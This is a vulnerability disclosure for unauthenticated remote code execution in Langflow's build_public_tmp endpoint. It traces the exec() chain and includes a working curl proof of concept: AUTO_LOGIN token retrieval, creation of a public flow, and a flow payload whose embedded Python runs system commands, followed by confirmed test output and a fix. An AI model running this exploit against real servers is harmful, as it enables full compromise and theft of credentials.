| summary |
Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint
## Summary
The `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.
This is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.
## Affected Code
### Vulnerable Endpoint (No Authentication)
**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657
```python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED
request: Request,
# ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
"""Build a public flow without requiring authentication."""
client_id = request.cookies.get("client_id")
owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # Attacker's data passed directly to graph builder
current_user=owner_user,
...
)
```
Compare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.
### Code Execution Chain
When attacker-supplied `data` is provided, it flows through:
1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81`
2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`
3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`
4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527`
5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`
6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28`
7. `code = custom_params.pop("code")` extracts attacker code -- `loading.py:43`
8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9`
9. `prepare_global_scope(module)` -- `validate.py:323`
10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`
### Unsandboxed exec() in prepare_global_scope
**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397
```python
def prepare_global_scope(module):
exec_globals = globals().copy()
# Imports are resolved first (any module can be imported)
for node in imports:
module_obj = importlib.import_module(module_name) # line 352
exec_globals[variable_name] = module_obj
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
if definitions:
combined_module = ast.Module(body=definitions, type_ignores=[])
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION
```
**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system("id")` is an assignment and will be executed during graph building -- before the flow even "runs."
## Prerequisites
1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)
2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
3. No authentication required -- only a `client_id` cookie (any arbitrary string value)
When `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:
1. `GET /api/v1/auto_login` → obtain superuser token
2. `POST /api/v1/flows/` → create a public flow
3. Exploit via `build_public_tmp` without any auth
## Proof of Concept
### Tested Against
- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)
- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)
### Step 1: Obtain a Public Flow ID
(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)
```bash
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
| jq -r '.id')
echo "Public Flow ID: $FLOW_ID"
```
### Step 2: Exploit -- Unauthenticated RCE
```bash
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'
```
### Step 3: Verify Code Execution
```bash
# Wait 2 seconds for async graph building
sleep 2
# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali
```
### Actual Test Results
```
======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version: Langflow 1.7.3
RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-f0d19b36
hostname: kali
uid: 1000
whoami: aviral
id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
uname: Linux 6.16.8+kali-amd64
RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-6037a271
RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-4a796556
FINAL RESULTS
Total checks: 15
VULNERABLE: 15
SAFE: 0
RCE confirmed: 3/3 runs
Reproducible: YES (100%)
```
## Impact
- **Unauthenticated Remote Code Execution** with full server process privileges
- **Complete server compromise**: arbitrary file read/write, command execution
- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
- **Reverse shell access** for persistent access
- **Lateral movement** within the network
- **Data exfiltration** from all flows, messages, and stored credentials in the database
## Comparison with CVE-2025-3248
| Aspect | CVE-2025-3248 | This Vulnerability |
|--------|--------------|-------------------|
| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |
| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |
| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |
| **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` |
| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |
| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |
## Recommended Fix
### Immediate (Short-term)
**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:
```python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
# REMOVED: data parameter -- public flows must use stored data only
...
):
```
In `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:
```python
async def create_graph(fresh_session, flow_id_str, flow_name):
# For public flows, ALWAYS load from database, never from user data
return await build_graph_from_db(
flow_id=flow_id,
session=fresh_session,
...
)
``` |